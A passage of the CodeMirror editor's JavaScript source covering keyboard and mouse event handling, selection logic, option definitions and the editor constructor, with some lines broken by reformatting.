
  var stopSeq = new Delayed;

  function dispatchKey(cm, name, e, handle) {
    var seq = cm.state.keySeq;
    if (seq) {
      if (isModifierKey(name)) { return "handled" }
      if (/\'$/.test(name))
        { cm.state.keySeq = null; }
      else
        { stopSeq.set(50, function () {
          if (cm.state.keySeq == seq) {
            cm.state.keySeq = null;
            cm.display.input.reset();
          }
        }); }
      if (dispatchKeyInner(cm, seq + " " + name, e, handle)) {
return true }
    }
    return dispatchKeyInner(cm, name, e, handle)
  }

  function dispatchKeyInner(cm, name, e, handle) {
    var result = lookupKeyForEditor(cm, name, handle);

    if (result == "multi")
      { cm.state.keySeq = name; }
    if (result == "handled")
      { signalLater(cm, "keyHandled", cm, name, e); }

    if (result == "handled" || result == "multi") {
      e_preventDefault(e);
      restartBlink(cm);
    }

    return !!result
  }

  // Handle a key from the keydown event.
  function handleKeyBinding(cm, e) {
    var name = keyName(e, true);
    if (!name) { return false }

    if (e.shiftKey && !cm.state.keySeq) {
      // First try to resolve full name (including 'Shift-').
Failing
      // that, see if there is a cursor-motion command (starting with
      // 'go') bound to the keyname without 'Shift-'.
      return dispatchKey(cm, "Shift-" + name, e, function (b) {
return doHandleBinding(cm, b, true); })
          || dispatchKey(cm, name, e, function (b) {
               if (typeof b == "string" ? /^go[A-Z]/.test(b) :
b.motion)
                 { return doHandleBinding(cm, b) }
             })
    } else {
      return dispatchKey(cm, name, e, function (b) { return
doHandleBinding(cm, b); })
    }
  }

  // Handle a key from the keypress event
  function handleCharBinding(cm, e, ch) {
    return dispatchKey(cm, "'" + ch + "'", e,
function (b) { return doHandleBinding(cm, b, true); })
  }

  var lastStoppedKey = null;
  function onKeyDown(e) {
    var cm = this;
    if (e.target && e.target != cm.display.input.getField()) {
return }
    cm.curOp.focus = activeElt();
    if (signalDOMEvent(cm, e)) { return }
    // IE does strange things with escape.
    if (ie && ie_version < 11 && e.keyCode == 27) {
e.returnValue = false; }
    var code = e.keyCode;
    cm.display.shift = code == 16 || e.shiftKey;
    var handled = handleKeyBinding(cm, e);
    if (presto) {
      lastStoppedKey = handled ? code : null;
      // Opera has no cut event... we try to at least catch the key combo
      if (!handled && code == 88 && !hasCopyEvent
&& (mac ? e.metaKey : e.ctrlKey))
        { cm.replaceSelection("", null, "cut"); }
    }
    if (gecko && !mac && !handled && code == 46
&& e.shiftKey && !e.ctrlKey &&
document.execCommand)
      { document.execCommand("cut"); }

    // Turn mouse into crosshair when Alt is held on Mac.
    if (code == 18 &&
!/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
      { showCrossHair(cm); }
  }

  function showCrossHair(cm) {
    var lineDiv = cm.display.lineDiv;
    addClass(lineDiv, "CodeMirror-crosshair");

    function up(e) {
      if (e.keyCode == 18 || !e.altKey) {
        rmClass(lineDiv, "CodeMirror-crosshair");
        off(document, "keyup", up);
        off(document, "mouseover", up);
      }
    }
    on(document, "keyup", up);
    on(document, "mouseover", up);
  }

  function onKeyUp(e) {
    if (e.keyCode == 16) { this.doc.sel.shift = false; }
    signalDOMEvent(this, e);
  }

  function onKeyPress(e) {
    var cm = this;
    if (e.target && e.target != cm.display.input.getField()) {
return }
    if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey
&& !e.altKey || mac && e.metaKey) { return }
    var keyCode = e.keyCode, charCode = e.charCode;
    if (presto && keyCode == lastStoppedKey) {lastStoppedKey =
null; e_preventDefault(e); return}
    if ((presto && (!e.which || e.which < 10)) &&
handleKeyBinding(cm, e)) { return }
    var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
    // Some browsers fire keypress events for backspace
    if (ch == "\x08") { return }
    if (handleCharBinding(cm, e, ch)) { return }
    cm.display.input.onKeyPress(e);
  }

  var DOUBLECLICK_DELAY = 400;

  var PastClick = function(time, pos, button) {
    this.time = time;
    this.pos = pos;
    this.button = button;
  };

  PastClick.prototype.compare = function (time, pos, button) {
    return this.time + DOUBLECLICK_DELAY > time &&
      cmp(pos, this.pos) == 0 && button == this.button
  };

  var lastClick, lastDoubleClick;
  function clickRepeat(pos, button) {
    var now = +new Date;
    if (lastDoubleClick && lastDoubleClick.compare(now, pos,
button)) {
      lastClick = lastDoubleClick = null;
      return "triple"
    } else if (lastClick && lastClick.compare(now, pos, button)) {
      lastDoubleClick = new PastClick(now, pos, button);
      lastClick = null;
      return "double"
    } else {
      lastClick = new PastClick(now, pos, button);
      lastDoubleClick = null;
      return "single"
    }
  }

  // A mouse down can be a single click, double click, triple click,
  // start of selection drag, start of text drag, new cursor
  // (ctrl-click), rectangle drag (alt-drag), or xwin
  // middle-click-paste. Or it might be a click on something we should
  // not interfere with, such as a scrollbar or widget.
  function onMouseDown(e) {
    var cm = this, display = cm.display;
    if (signalDOMEvent(cm, e) || display.activeTouch &&
display.input.supportsTouch()) { return }
    display.input.ensurePolled();
    display.shift = e.shiftKey;

    if (eventInWidget(display, e)) {
      if (!webkit) {
        // Briefly turn off draggability, to allow widgets to do
        // normal dragging things.
        display.scroller.draggable = false;
        setTimeout(function () { return display.scroller.draggable = true;
}, 100);
      }
      return
    }
    if (clickInGutter(cm, e)) { return }
    var pos = posFromMouse(cm, e), button = e_button(e), repeat = pos ?
clickRepeat(pos, button) : "single";
    window.focus();

    // #3261: make sure, that we're not starting a second selection
    if (button == 1 && cm.state.selectingText)
      { cm.state.selectingText(e); }

    if (pos && handleMappedButton(cm, button, pos, repeat, e)) {
return }

    if (button == 1) {
      if (pos) { leftButtonDown(cm, pos, repeat, e); }
      else if (e_target(e) == display.scroller) { e_preventDefault(e); }
    } else if (button == 2) {
      if (pos) { extendSelection(cm.doc, pos); }
      setTimeout(function () { return display.input.focus(); }, 20);
    } else if (button == 3) {
      if (captureRightClick) { cm.display.input.onContextMenu(e); }
      else { delayBlurEvent(cm); }
    }
  }

  function handleMappedButton(cm, button, pos, repeat, event) {
    var name = "Click";
    if (repeat == "double") { name = "Double" + name; }
    else if (repeat == "triple") { name = "Triple" +
name; }
    name = (button == 1 ? "Left" : button == 2 ?
"Middle" : "Right") + name;

    return dispatchKey(cm,  addModifierNames(name, event), event, function
(bound) {
      if (typeof bound == "string") { bound = commands[bound]; }
      if (!bound) { return false }
      var done = false;
      try {
        if (cm.isReadOnly()) { cm.state.suppressEdits = true; }
        done = bound(cm, pos) != Pass;
      } finally {
        cm.state.suppressEdits = false;
      }
      return done
    })
  }

  function configureMouse(cm, repeat, event) {
    var option = cm.getOption("configureMouse");
    var value = option ? option(cm, repeat, event) : {};
    if (value.unit == null) {
      var rect = chromeOS ? event.shiftKey && event.metaKey :
event.altKey;
      value.unit = rect ? "rectangle" : repeat ==
"single" ? "char" : repeat == "double" ?
"word" : "line";
    }
    if (value.extend == null || cm.doc.extend) { value.extend =
cm.doc.extend || event.shiftKey; }
    if (value.addNew == null) { value.addNew = mac ? event.metaKey :
event.ctrlKey; }
    if (value.moveOnDrag == null) { value.moveOnDrag = !(mac ? event.altKey
: event.ctrlKey); }
    return value
  }

  function leftButtonDown(cm, pos, repeat, event) {
    if (ie) { setTimeout(bind(ensureFocus, cm), 0); }
    else { cm.curOp.focus = activeElt(); }

    var behavior = configureMouse(cm, repeat, event);

    var sel = cm.doc.sel, contained;
    if (cm.options.dragDrop && dragAndDrop &&
!cm.isReadOnly() &&
        repeat == "single" && (contained =
sel.contains(pos)) > -1 &&
        (cmp((contained = sel.ranges[contained]).from(), pos) < 0 ||
pos.xRel > 0) &&
        (cmp(contained.to(), pos) > 0 || pos.xRel < 0))
      { leftButtonStartDrag(cm, event, pos, behavior); }
    else
      { leftButtonSelect(cm, event, pos, behavior); }
  }

  // Start a text drag. When it ends, see if any dragging actually
  // happen, and treat as a click if it didn't.
  function leftButtonStartDrag(cm, event, pos, behavior) {
    var display = cm.display, moved = false;
    var dragEnd = operation(cm, function (e) {
      if (webkit) { display.scroller.draggable = false; }
      cm.state.draggingText = false;
      off(display.wrapper.ownerDocument, "mouseup", dragEnd);
      off(display.wrapper.ownerDocument, "mousemove", mouseMove);
      off(display.scroller, "dragstart", dragStart);
      off(display.scroller, "drop", dragEnd);
      if (!moved) {
        e_preventDefault(e);
        if (!behavior.addNew)
          { extendSelection(cm.doc, pos, null, null, behavior.extend); }
        // Work around unexplainable focus problem in IE9 (#2127) and
Chrome (#3081)
        if ((webkit && !safari) || ie && ie_version == 9)
          { setTimeout(function ()
{display.wrapper.ownerDocument.body.focus({preventScroll: true});
display.input.focus();}, 20); }
        else
          { display.input.focus(); }
      }
    });
    var mouseMove = function(e2) {
      moved = moved || Math.abs(event.clientX - e2.clientX) +
Math.abs(event.clientY - e2.clientY) >= 10;
    };
    var dragStart = function () { return moved = true; };
    // Let the drag handler handle this.
    if (webkit) { display.scroller.draggable = true; }
    cm.state.draggingText = dragEnd;
    dragEnd.copy = !behavior.moveOnDrag;
    // IE's approach to draggable
    if (display.scroller.dragDrop) { display.scroller.dragDrop(); }
    on(display.wrapper.ownerDocument, "mouseup", dragEnd);
    on(display.wrapper.ownerDocument, "mousemove", mouseMove);
    on(display.scroller, "dragstart", dragStart);
    on(display.scroller, "drop", dragEnd);

    delayBlurEvent(cm);
    setTimeout(function () { return display.input.focus(); }, 20);
  }

  function rangeForUnit(cm, pos, unit) {
    if (unit == "char") { return new Range(pos, pos) }
    if (unit == "word") { return cm.findWordAt(pos) }
    if (unit == "line") { return new Range(Pos(pos.line, 0),
clipPos(cm.doc, Pos(pos.line + 1, 0))) }
    var result = unit(cm, pos);
    return new Range(result.from, result.to)
  }

  // Normal selection, as opposed to text dragging.
  function leftButtonSelect(cm, event, start, behavior) {
    var display = cm.display, doc = cm.doc;
    e_preventDefault(event);

    var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;
    if (behavior.addNew && !behavior.extend) {
      ourIndex = doc.sel.contains(start);
      if (ourIndex > -1)
        { ourRange = ranges[ourIndex]; }
      else
        { ourRange = new Range(start, start); }
    } else {
      ourRange = doc.sel.primary();
      ourIndex = doc.sel.primIndex;
    }

    if (behavior.unit == "rectangle") {
      if (!behavior.addNew) { ourRange = new Range(start, start); }
      start = posFromMouse(cm, event, true, true);
      ourIndex = -1;
    } else {
      var range = rangeForUnit(cm, start, behavior.unit);
      if (behavior.extend)
        { ourRange = extendRange(ourRange, range.anchor, range.head,
behavior.extend); }
      else
        { ourRange = range; }
    }

    if (!behavior.addNew) {
      ourIndex = 0;
      setSelection(doc, new Selection([ourRange], 0), sel_mouse);
      startSel = doc.sel;
    } else if (ourIndex == -1) {
      ourIndex = ranges.length;
      setSelection(doc, normalizeSelection(cm, ranges.concat([ourRange]),
ourIndex),
                   {scroll: false, origin: "*mouse"});
    } else if (ranges.length > 1 && ranges[ourIndex].empty()
&& behavior.unit == "char" && !behavior.extend) {
      setSelection(doc, normalizeSelection(cm, ranges.slice(0,
ourIndex).concat(ranges.slice(ourIndex + 1)), 0),
                   {scroll: false, origin: "*mouse"});
      startSel = doc.sel;
    } else {
      replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
    }

    var lastPos = start;
    function extendTo(pos) {
      if (cmp(lastPos, pos) == 0) { return }
      lastPos = pos;

      if (behavior.unit == "rectangle") {
        var ranges = [], tabSize = cm.options.tabSize;
        var startCol = countColumn(getLine(doc, start.line).text, start.ch,
tabSize);
        var posCol = countColumn(getLine(doc, pos.line).text, pos.ch,
tabSize);
        var left = Math.min(startCol, posCol), right = Math.max(startCol,
posCol);
        for (var line = Math.min(start.line, pos.line), end =
Math.min(cm.lastLine(), Math.max(start.line, pos.line));
             line <= end; line++) {
          var text = getLine(doc, line).text, leftPos = findColumn(text,
left, tabSize);
          if (left == right)
            { ranges.push(new Range(Pos(line, leftPos), Pos(line,
leftPos))); }
          else if (text.length > leftPos)
            { ranges.push(new Range(Pos(line, leftPos), Pos(line,
findColumn(text, right, tabSize)))); }
        }
        if (!ranges.length) { ranges.push(new Range(start, start)); }
        setSelection(doc, normalizeSelection(cm, startSel.ranges.slice(0,
ourIndex).concat(ranges), ourIndex),
                     {origin: "*mouse", scroll: false});
        cm.scrollIntoView(pos);
      } else {
        var oldRange = ourRange;
        var range = rangeForUnit(cm, pos, behavior.unit);
        var anchor = oldRange.anchor, head;
        if (cmp(range.anchor, anchor) > 0) {
          head = range.head;
          anchor = minPos(oldRange.from(), range.anchor);
        } else {
          head = range.anchor;
          anchor = maxPos(oldRange.to(), range.head);
        }
        var ranges$1 = startSel.ranges.slice(0);
        ranges$1[ourIndex] = bidiSimplify(cm, new Range(clipPos(doc,
anchor), head));
        setSelection(doc, normalizeSelection(cm, ranges$1, ourIndex),
sel_mouse);
      }
    }

    var editorSize = display.wrapper.getBoundingClientRect();
    // Used to ensure timeout re-tries don't fire when another extend
    // happened in the meantime (clearTimeout isn't reliable -- at
    // least on Chrome, the timeouts still happen even when cleared,
    // if the clear happens after their scheduled firing time).
    var counter = 0;

    function extend(e) {
      var curCount = ++counter;
      var cur = posFromMouse(cm, e, true, behavior.unit ==
"rectangle");
      if (!cur) { return }
      if (cmp(cur, lastPos) != 0) {
        cm.curOp.focus = activeElt();
        extendTo(cur);
        var visible = visibleLines(display, doc);
        if (cur.line >= visible.to || cur.line < visible.from)
          { setTimeout(operation(cm, function () {if (counter == curCount)
{ extend(e); }}), 150); }
      } else {
        var outside = e.clientY < editorSize.top ? -20 : e.clientY >
editorSize.bottom ? 20 : 0;
        if (outside) { setTimeout(operation(cm, function () {
          if (counter != curCount) { return }
          display.scroller.scrollTop += outside;
          extend(e);
        }), 50); }
      }
    }

    function done(e) {
      cm.state.selectingText = false;
      counter = Infinity;
      // If e is null or undefined we interpret this as someone trying
      // to explicitly cancel the selection rather than the user
      // letting go of the mouse button.
      if (e) {
        e_preventDefault(e);
        display.input.focus();
      }
      off(display.wrapper.ownerDocument, "mousemove", move);
      off(display.wrapper.ownerDocument, "mouseup", up);
      doc.history.lastSelOrigin = null;
    }

    var move = operation(cm, function (e) {
      if (e.buttons === 0 || !e_button(e)) { done(e); }
      else { extend(e); }
    });
    var up = operation(cm, done);
    cm.state.selectingText = up;
    on(display.wrapper.ownerDocument, "mousemove", move);
    on(display.wrapper.ownerDocument, "mouseup", up);
  }

  // Used when mouse-selecting to adjust the anchor to the proper side
  // of a bidi jump depending on the visual position of the head.
  function bidiSimplify(cm, range) {
    var anchor = range.anchor;
    var head = range.head;
    var anchorLine = getLine(cm.doc, anchor.line);
    if (cmp(anchor, head) == 0 && anchor.sticky == head.sticky) {
return range }
    var order = getOrder(anchorLine);
    if (!order) { return range }
    var index = getBidiPartAt(order, anchor.ch, anchor.sticky), part =
order[index];
    if (part.from != anchor.ch && part.to != anchor.ch) { return
range }
    var boundary = index + ((part.from == anchor.ch) == (part.level != 1) ?
0 : 1);
    if (boundary == 0 || boundary == order.length) { return range }

    // Compute the relative visual position of the head compared to the
    // anchor (<0 is to the left, >0 to the right)
    var leftSide;
    if (head.line != anchor.line) {
      leftSide = (head.line - anchor.line) * (cm.doc.direction ==
"ltr" ? 1 : -1) > 0;
    } else {
      var headIndex = getBidiPartAt(order, head.ch, head.sticky);
      var dir = headIndex - index || (head.ch - anchor.ch) * (part.level ==
1 ? -1 : 1);
      if (headIndex == boundary - 1 || headIndex == boundary)
        { leftSide = dir < 0; }
      else
        { leftSide = dir > 0; }
    }

    var usePart = order[boundary + (leftSide ? -1 : 0)];
    var from = leftSide == (usePart.level == 1);
    var ch = from ? usePart.from : usePart.to, sticky = from ?
"after" : "before";
    return anchor.ch == ch && anchor.sticky == sticky ? range : new
Range(new Pos(anchor.line, ch, sticky), head)
  }


  // Determines whether an event happened in the gutter, and fires the
  // handlers for the corresponding event.
  function gutterEvent(cm, e, type, prevent) {
    var mX, mY;
    if (e.touches) {
      mX = e.touches[0].clientX;
      mY = e.touches[0].clientY;
    } else {
      try { mX = e.clientX; mY = e.clientY; }
      catch(e$1) { return false }
    }
    if (mX >=
Math.floor(cm.display.gutters.getBoundingClientRect().right)) { return
false }
    if (prevent) { e_preventDefault(e); }

    var display = cm.display;
    var lineBox = display.lineDiv.getBoundingClientRect();

    if (mY > lineBox.bottom || !hasHandler(cm, type)) { return
e_defaultPrevented(e) }
    mY -= lineBox.top - display.viewOffset;

    for (var i = 0; i < cm.display.gutterSpecs.length; ++i) {
      var g = display.gutters.childNodes[i];
      if (g && g.getBoundingClientRect().right >= mX) {
        var line = lineAtHeight(cm.doc, mY);
        var gutter = cm.display.gutterSpecs[i];
        signal(cm, type, cm, line, gutter.className, e);
        return e_defaultPrevented(e)
      }
    }
  }

  function clickInGutter(cm, e) {
    return gutterEvent(cm, e, "gutterClick", true)
  }

  // CONTEXT MENU HANDLING

  // To make the context menu work, we need to briefly unhide the
  // textarea (making it as unobtrusive as possible) to let the
  // right-click take effect on it.
  function onContextMenu(cm, e) {
    if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) {
return }
    if (signalDOMEvent(cm, e, "contextmenu")) { return }
    if (!captureRightClick) { cm.display.input.onContextMenu(e); }
  }

  function contextMenuInGutter(cm, e) {
    if (!hasHandler(cm, "gutterContextMenu")) { return false }
    return gutterEvent(cm, e, "gutterContextMenu", false)
  }

  function themeChanged(cm) {
    cm.display.wrapper.className =
cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
      cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
    clearCaches(cm);
  }

  var Init = {toString: function(){return "CodeMirror.Init"}};

  var defaults = {};
  var optionHandlers = {};

  function defineOptions(CodeMirror) {
    var optionHandlers = CodeMirror.optionHandlers;

    function option(name, deflt, handle, notOnInit) {
      CodeMirror.defaults[name] = deflt;
      if (handle) { optionHandlers[name] =
        notOnInit ? function (cm, val, old) {if (old != Init) { handle(cm,
val, old); }} : handle; }
    }

    CodeMirror.defineOption = option;

    // Passed to option handlers when there is no old value.
    CodeMirror.Init = Init;

    // These two are, on init, called from the constructor because they
    // have to be initialized before the editor can start at all.
    option("value", "", function (cm, val) { return
cm.setValue(val); }, true);
    option("mode", null, function (cm, val) {
      cm.doc.modeOption = val;
      loadMode(cm);
    }, true);

    option("indentUnit", 2, loadMode, true);
    option("indentWithTabs", false);
    option("smartIndent", true);
    option("tabSize", 4, function (cm) {
      resetModeState(cm);
      clearCaches(cm);
      regChange(cm);
    }, true);

    option("lineSeparator", null, function (cm, val) {
      cm.doc.lineSep = val;
      if (!val) { return }
      var newBreaks = [], lineNo = cm.doc.first;
      cm.doc.iter(function (line) {
        for (var pos = 0;;) {
          var found = line.text.indexOf(val, pos);
          if (found == -1) { break }
          pos = found + val.length;
          newBreaks.push(Pos(lineNo, found));
        }
        lineNo++;
      });
      for (var i = newBreaks.length - 1; i >= 0; i--)
        { replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line,
newBreaks[i].ch + val.length)); }
    });
    option("specialChars",
/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g,
function (cm, val, old) {
      cm.state.specialChars = new RegExp(val.source +
(val.test("\t") ? "" : "|\t"),
"g");
      if (old != Init) { cm.refresh(); }
    });
    option("specialCharPlaceholder",
defaultSpecialCharPlaceholder, function (cm) { return cm.refresh(); },
true);
    option("electricChars", true);
    option("inputStyle", mobile ? "contenteditable" :
"textarea", function () {
      throw new Error("inputStyle can not (yet) be changed in a
running editor") // FIXME
    }, true);
    option("spellcheck", false, function (cm, val) { return
cm.getInputField().spellcheck = val; }, true);
    option("autocorrect", false, function (cm, val) { return
cm.getInputField().autocorrect = val; }, true);
    option("autocapitalize", false, function (cm, val) { return
cm.getInputField().autocapitalize = val; }, true);
    option("rtlMoveVisually", !windows);
    option("wholeLineUpdateBefore", true);

    option("theme", "default", function (cm) {
      themeChanged(cm);
      updateGutters(cm);
    }, true);
    option("keyMap", "default", function (cm, val, old)
{
      var next = getKeyMap(val);
      var prev = old != Init && getKeyMap(old);
      if (prev && prev.detach) { prev.detach(cm, next); }
      if (next.attach) { next.attach(cm, prev || null); }
    });
    option("extraKeys", null);
    option("configureMouse", null);

    option("lineWrapping", false, wrappingChanged, true);
    option("gutters", [], function (cm, val) {
      cm.display.gutterSpecs = getGutters(val, cm.options.lineNumbers);
      updateGutters(cm);
    }, true);
    option("fixedGutter", true, function (cm, val) {
      cm.display.gutters.style.left = val ?
compensateForHScroll(cm.display) + "px" : "0";
      cm.refresh();
    }, true);
    option("coverGutterNextToScrollbar", false, function (cm) {
return updateScrollbars(cm); }, true);
    option("scrollbarStyle", "native", function (cm) {
      initScrollbars(cm);
      updateScrollbars(cm);
      cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);
      cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);
    }, true);
    option("lineNumbers", false, function (cm, val) {
      cm.display.gutterSpecs = getGutters(cm.options.gutters, val);
      updateGutters(cm);
    }, true);
    option("firstLineNumber", 1, updateGutters, true);
    option("lineNumberFormatter", function (integer) { return
integer; }, updateGutters, true);
    option("showCursorWhenSelecting", false, updateSelection,
true);

    option("resetSelectionOnContextMenu", true);
    option("lineWiseCopyCut", true);
    option("pasteLinesPerSelection", true);
    option("selectionsMayTouch", false);

    option("readOnly", false, function (cm, val) {
      if (val == "nocursor") {
        onBlur(cm);
        cm.display.input.blur();
      }
      cm.display.input.readOnlyChanged(val);
    });

    option("screenReaderLabel", null, function (cm, val) {
      val = (val === '') ? null : val;
      cm.display.input.screenReaderLabelChanged(val);
    });

    option("disableInput", false, function (cm, val) {if (!val) {
cm.display.input.reset(); }}, true);
    option("dragDrop", true, dragDropChanged);
    option("allowDropFileTypes", null);

    option("cursorBlinkRate", 530);
    option("cursorScrollMargin", 0);
    option("cursorHeight", 1, updateSelection, true);
    option("singleCursorHeightPerLine", true, updateSelection,
true);
    option("workTime", 100);
    option("workDelay", 100);
    option("flattenSpans", true, resetModeState, true);
    option("addModeClass", false, resetModeState, true);
    option("pollInterval", 100);
    option("undoDepth", 200, function (cm, val) { return
cm.doc.history.undoDepth = val; });
    option("historyEventDelay", 1250);
    option("viewportMargin", 10, function (cm) { return
cm.refresh(); }, true);
    option("maxHighlightLength", 10000, resetModeState, true);
    option("moveInputWithCursor", true, function (cm, val) {
      if (!val) { cm.display.input.resetPosition(); }
    });

    option("tabindex", null, function (cm, val) { return
cm.display.input.getField().tabIndex = val || ""; });
    option("autofocus", null);
    option("direction", "ltr", function (cm, val) {
return cm.doc.setDirection(val); }, true);
    option("phrases", null);
  }

  function dragDropChanged(cm, value, old) {
    var wasOn = old && old != Init;
    if (!value != !wasOn) {
      var funcs = cm.display.dragFunctions;
      var toggle = value ? on : off;
      toggle(cm.display.scroller, "dragstart", funcs.start);
      toggle(cm.display.scroller, "dragenter", funcs.enter);
      toggle(cm.display.scroller, "dragover", funcs.over);
      toggle(cm.display.scroller, "dragleave", funcs.leave);
      toggle(cm.display.scroller, "drop", funcs.drop);
    }
  }

  function wrappingChanged(cm) {
    if (cm.options.lineWrapping) {
      addClass(cm.display.wrapper, "CodeMirror-wrap");
      cm.display.sizer.style.minWidth = "";
      cm.display.sizerWidth = null;
    } else {
      rmClass(cm.display.wrapper, "CodeMirror-wrap");
      findMaxLine(cm);
    }
    estimateLineHeights(cm);
    regChange(cm);
    clearCaches(cm);
    setTimeout(function () { return updateScrollbars(cm); }, 100);
  }

  // A CodeMirror instance represents an editor. This is the object
  // that user code is usually dealing with.

  function CodeMirror(place, options) {
    var this$1 = this;

    if (!(this instanceof CodeMirror)) { return new CodeMirror(place,
options) }

    this.options = options = options ? copyObj(options) : {};
    // Determine effective options based on given values and defaults.
    copyObj(defaults, options, false);

    var doc = options.value;
    if (typeof doc == "string") { doc = new Doc(doc,
options.mode, null, options.lineSeparator, options.direction); }
    else if (options.mode) { doc.modeOption = options.mode; }
    this.doc = doc;

    var input = new CodeMirror.inputStyles[options.inputStyle](this);
    var display = this.display = new Display(place, doc, input, options);
    display.wrapper.CodeMirror = this;
    themeChanged(this);
    if (options.lineWrapping)
      { this.display.wrapper.className += " CodeMirror-wrap"; }
    initScrollbars(this);

    this.state = {
      keyMaps: [],  // stores maps added by addKeyMap
      overlays: [], // highlighting overlays, as added by addOverlay
      modeGen: 0,   // bumped when mode/overlay changes, used to invalidate
highlighting info
      overwrite: false,
      delayingBlurEvent: false,
      focused: false,
      suppressEdits: false, // used to disable editing during key handlers
when in readOnly mode
      pasteIncoming: -1, cutIncoming: -1, // help recognize paste/cut edits
in input.poll
      selectingText: false,
      draggingText: false,
      highlight: new Delayed(), // stores highlight worker timeout
      keySeq: null,  // Unfinished key sequence
      specialChars: null
    };

    if (options.autofocus && !mobile) { display.input.focus(); }

    // Override magic textarea content restore that IE sometimes does
    // on our hidden textarea on reload
    if (ie && ie_version < 11) { setTimeout(function () { return
this$1.display.input.reset(true); }, 20); }

    registerEventHandlers(this);
    ensureGlobalHandlers();

    startOperation(this);
    this.curOp.forceUpdate = true;
    attachDoc(this, doc);

    if ((options.autofocus && !mobile) || this.hasFocus())
      { setTimeout(bind(onFocus, this), 20); }
    else
      { onBlur(this); }

    for (var opt in optionHandlers) { if
(optionHandlers.hasOwnProperty(opt))
      { optionHandlers[opt](this, options[opt], Init); } }
    maybeUpdateLineNumberWidth(this);
    if (options.finishInit) { options.finishInit(this); }
    for (var i = 0; i < initHooks.length; ++i) { initHooks[i](this); }
    endOperation(this);
    // Suppress optimizelegibility in Webkit, since it breaks text
    // measuring on line wrapping boundaries.
    if (webkit && options.lineWrapping &&
        getComputedStyle(display.lineDiv).textRendering ==
"optimizelegibility")
      { display.lineDiv.style.textRendering = "auto"; }
  }

  // The default configuration options.
  CodeMirror.defaults = defaults;
  // Functions to run when options are changed.
  CodeMirror.optionHandlers = optionHandlers;

  // Attach the necessary event handlers when initializing the editor
  function registerEventHandlers(cm) {
    var d = cm.display;
    on(d.scroller, "mousedown", operation(cm, onMouseDown));
    // Older IE's will not fire a second mousedown for a double click
    if (ie && ie_version < 11)
      { on(d.scroller, "dblclick", operation(cm, function (e) {
        if (signalDOMEvent(cm, e)) { return }
        var pos = posFromMouse(cm, e);
        if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) {
return }
        e_preventDefault(e);
        var word = cm.findWordAt(pos);
        extendSelection(cm.doc, word.anchor, word.head);
      })); }
    else
      { on(d.scroller, "dblclick", function (e) { return
signalDOMEvent(cm, e) || e_preventDefault(e); }); }
    // Some browsers fire contextmenu *after* opening the menu, at
    // which point we can't mess with it anymore. Context menu is
    // handled in onMouseDown for these browsers.
    on(d.scroller, "contextmenu", function (e) { return
onContextMenu(cm, e); });
    on(d.input.getField(), "contextmenu", function (e) {
      if (!d.scroller.contains(e.target)) { onContextMenu(cm, e); }
    });

    // Used to suppress mouse event handling when a touch happens
    var touchFinished, prevTouch = {end: 0};
    function finishTouch() {
      if (d.activeTouch) {
        touchFinished = setTimeout(function () { return d.activeTouch =
null; }, 1000);
        prevTouch = d.activeTouch;
        prevTouch.end = +new Date;
      }
    }
    function isMouseLikeTouchEvent(e) {
      if (e.touches.length != 1) { return false }
      var touch = e.touches[0];
      return touch.radiusX <= 1 && touch.radiusY <= 1
    }
    function farAway(touch, other) {
      if (other.left == null) { return true }
      var dx = other.left - touch.left, dy = other.top - touch.top;
      return dx * dx + dy * dy > 20 * 20
    }
    on(d.scroller, "touchstart", function (e) {
      if (!signalDOMEvent(cm, e) && !isMouseLikeTouchEvent(e)
&& !clickInGutter(cm, e)) {
        d.input.ensurePolled();
        clearTimeout(touchFinished);
        var now = +new Date;
        d.activeTouch = {start: now, moved: false,
                         prev: now - prevTouch.end <= 300 ? prevTouch :
null};
        if (e.touches.length == 1) {
          d.activeTouch.left = e.touches[0].pageX;
          d.activeTouch.top = e.touches[0].pageY;
        }
      }
    });
    on(d.scroller, "touchmove", function () {
      if (d.activeTouch) { d.activeTouch.moved = true; }
    });
    on(d.scroller, "touchend", function (e) {
      var touch = d.activeTouch;
      if (touch && !eventInWidget(d, e) && touch.left !=
null &&
          !touch.moved && new Date - touch.start < 300) {
        var pos = cm.coordsChar(d.activeTouch, "page"), range;
        if (!touch.prev || farAway(touch, touch.prev)) // Single tap
          { range = new Range(pos, pos); }
        else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) //
Double tap
          { range = cm.findWordAt(pos); }
        else // Triple tap
          { range = new Range(Pos(pos.line, 0), clipPos(cm.doc,
Pos(pos.line + 1, 0))); }
        cm.setSelection(range.anchor, range.head);
        cm.focus();
        e_preventDefault(e);
      }
      finishTouch();
    });
    on(d.scroller, "touchcancel", finishTouch);

    // Sync scrolling between fake scrollbars and real scrollable
    // area, ensure viewport is updated when scrolling.
    on(d.scroller, "scroll", function () {
      if (d.scroller.clientHeight) {
        updateScrollTop(cm, d.scroller.scrollTop);
        setScrollLeft(cm, d.scroller.scrollLeft, true);
        signal(cm, "scroll", cm);
      }
    });

    // Listen to wheel events in order to try and update the viewport on
time.
    on(d.scroller, "mousewheel", function (e) { return
onScrollWheel(cm, e); });
    on(d.scroller, "DOMMouseScroll", function (e) { return
onScrollWheel(cm, e); });

    // Prevent wrapper from ever scrolling
    on(d.wrapper, "scroll", function () { return
d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });

    d.dragFunctions = {
      enter: function (e) {if (!signalDOMEvent(cm, e)) { e_stop(e); }},
      over: function (e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e);
e_stop(e); }},
      start: function (e) { return onDragStart(cm, e); },
      drop: operation(cm, onDrop),
      leave: function (e) {if (!signalDOMEvent(cm, e)) {
clearDragCursor(cm); }}
    };

    var inp = d.input.getField();
    on(inp, "keyup", function (e) { return onKeyUp.call(cm, e);
});
    on(inp, "keydown", operation(cm, onKeyDown));
